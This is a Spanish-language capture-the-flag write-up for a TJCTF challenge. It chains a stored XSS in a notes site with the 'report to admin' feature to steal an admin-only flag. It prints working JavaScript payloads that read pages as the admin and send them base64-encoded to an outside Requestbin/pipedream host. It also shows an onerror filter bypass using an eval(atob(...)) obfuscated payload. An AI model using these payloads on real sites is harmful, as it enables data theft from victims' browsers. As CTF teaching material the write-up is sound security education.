Se explota un CSRF a través de un XSS. En este caso nos apoyamos en un reto del CTF TJCTF pero es aplicable en muchos ámbitos. Este tipo de ataques demuestran el peligro que tienen los XSS como ya vimos en el post de WordPress 5.1 CSRF + XSS + RCE – Poc donde se conseguía incluso RCE.
Enunciado
See if you can get the flag from the admin at this website!
Hint: The admin can see something you can’t. Check the page source.
Se nos proporciona la url del sitio: TJCTF
Solución
Lo primero que repasamos son las funcionalidades que ofrece la web y cuales de ellas pueden ser interesantes. El acceso requiere de un usuario por ello nos registramos y accedemos con nuestra nueva cuenta.
Rápidamente encontramos una funcionalidad que nos permite publicar una nota.
Además, una vez publicada, vemos que existe la funcionalidad para reportarla al administrador. Entendemos de esta manera que el administrador va a visitar esta nota. Nos puede empezar a dar una idea sobre como proceder.
Investigando el formulario que nos permite subir notas descubrimos un simple XSS que permite incluir cualquier cosa, literalmente. Parece que va a ser fácil!
<script>confirm()</script>
Al introducir la nota encontramos que la web incluye el código javascript completo mostrando la alerta.
Utilizando el enunciado proporcionado al principio, accedemos al código fuente de una nota cualquiera. Así descubrimos donde esta lo que efectivamente nosotros no podemos ver pero si un administrador.
Intentamos realizar una exfiltración del código fuente que verá el administrador al acceder a cualquier nota publicada. Para ello aprovechamos la vulnerabilidad XSS para que el administrador mediante una petición a una publicación y otra a un servidor de nuestro control nos envié el código fuente. Se puede desplegar un servidor cualquiera que simplemente muestre los datos recibidos, en este caso utilizamos una web que provee este servicio sin tener que realizar ningún despliegue Requestbin.
El código que utilizamos para esta exfiltración se compone de dos peticiones con XMLRequest. También podría recogerse directamente el contenido de la propia página con document.innerHTML, existen diversos métodos. Los datos capturados por el adminsitrador se codificarán en base64 para evitar problemas con símbolos y espacios al formar la petición de exfiltración.
<script> var xhr=new XMLHttpRequest(); xhr.open("GET", "/posts/95FBO9f1z93CmMsV", false); xhr.send(); var xhr2=new XMLHttpRequest(); xhr2.open("GET", "https://enz4mb8p5wqqf.x.pipedream.net/?source=" + btoa(xhr.responseText), false); xhr2.send(); </script>
Una vez hemos subido la nota veremos que nosotros mismo hemos ejecutado la inyección de javascript y hemos enviado datos al servidor. No nos interesa esto. Tendremos que presionar el botón para reportar al administrador nuestra nota y que sea este quien visite nuestra nota con la inyección. Una vez se presionado el botón recibimos la petición en nuestra interfaz de Requestbin.
Los datos que hemos recibido están codificados en base64 por lo que tendremos que pasarlos a un archivo de texto normal.
Asi obtenemos un archivo con el código fuente de la página que el administrador visitó.
Analizando el contenido nos llama la atención el botón de obtener la flag. Este boton realiza la llamada a la función f(), en la que vemos una petición get a admin_flag. Si intentamos acceder manualmente obviamente nos indica que debemos ser administradores. La idea va quedando clara. Tenemos que conseguir que el administrador visite la página admin_flag y nos devuelva el resultado. Sencillo, de la misma manera que hemos obtenido el código fuente de una nota podemos obtener el de la flag. Preparamos entonces el mismo payload para la nota.
<script> var xhr=new XMLHttpRequest(); xhr.open("GET", "/admin_flag", false); xhr.send(); var xhr2=new XMLHttpRequest(); xhr2.open("GET", "https://enz4mb8p5wqqf.x.pipedream.net/?source=" + btoa(xhr.responseText), false); xhr2.send(); </script>
Al igual que con la anterior exfiltración, al subir la nota nosotros mismo ejecutaremos el código javascript, pero lo interesante lo obtenemos al pulsar el botón de reportar al administrador. Este inmediatamente ejecuta el código javascript y recibiremos los datos. ¿Será la flag?.
Al igual que antes debemos deshacer el encoding de base64 para revelar el contenido.
Vaya, no iba a ser tan sencillo. El administrador debe hacer alguna comprobación en la página de la nota que esta visitando para que no le robemos la flag con nuestra inyección.
El primer problema que tenemos son los tags de script. La manera más sencilla y típica para saltarse este tipo de comprobación es usar el evento onerror disponible para las imágenes. Por ello añadimos un tag de imagen en el que comprobaremos un sencillo XSS.
<img src=ironhackers.png/>
Observamos que al enviar esta inyección efectivamente funciona.
Otro problema que tenemos son las comillas y los paréntesis. Como podemos escribir dentro de los tags de html podemos usar el encoding HTML para introducir dentro del atributo onerror un payload con paréntesis y comillas. Vemos un ejemplo con un sencillo payload de XSS. Mediante el encoder de Burpsuite generamos el payload.
Ahora pasamos a incluirlo en una nota y ver que efectivamente se produce la ejecución.
<img src=ironhackers.png onerror=confirm(1)/>
El siguiente problema que se nos plantea es como realizamos la ejecución de un payload complejo como el que realiza las peticiones de exfiltración. No se puede incluir el payload completo debido a que requiere de espacios y eso implicaría utilizar comillas alrededor del evento onerror. Como posible solución, que seguro que hay más, obtamos por utilizar la función eval y la función atob para desahacer base64. De esta manera podemos generar un payload en base64 que guardaremos en otro atributo, y que este sea recuperado, decodificado y ejecutado. La combinación de todo esto la realizamos en los siguientes pasos. Primero generamos el payload en base64
Ahora generamos el payload del evento onerror codificado en HTML encode.
Una vez tenemos las partes construimos una imagen con el payload en base64 en el atributo id y el payload en HTML encode en el evento onerror
<img src=ironhackers.png id=dmFyIHhocj1uZXcgWE1MSHR0cFJlcXVlc3QoKTsgeGhyLm9wZW4oIkdFVCIsICIvYWRtaW5fZmxhZyIsIGZhbHNlKTsgeGhyLnNlbmQoKTt2YXIgeGhyMj1uZXcgWE1MSHR0cFJlcXVlc3QoKTsgeGhyMi5vcGVuKCJHRVQiLCAiaHR0cHM6Ly9lbno0bWI4cDV3cXFmLngucGlwZWRyZWFtLm5ldC8/c291cmNlPSIgKyBidG9hKHhoci5yZXNwb25zZVRleHQpLCBmYWxzZSk7IHhocjIuc2VuZCgpOw== onerror=eval(atob(this.id)) />
Una vez hemos conseguido el payload realizamos el mismo proceso que en ejecuciones anteriores reportando la nota para que al visite el administrador. Una vez este entra ejecutará nuestro código y recibiremos los datos en la interfaz de Requestbin.
Finalmente decodificamos el base64 obteniendo la flag.
Deja una respuesta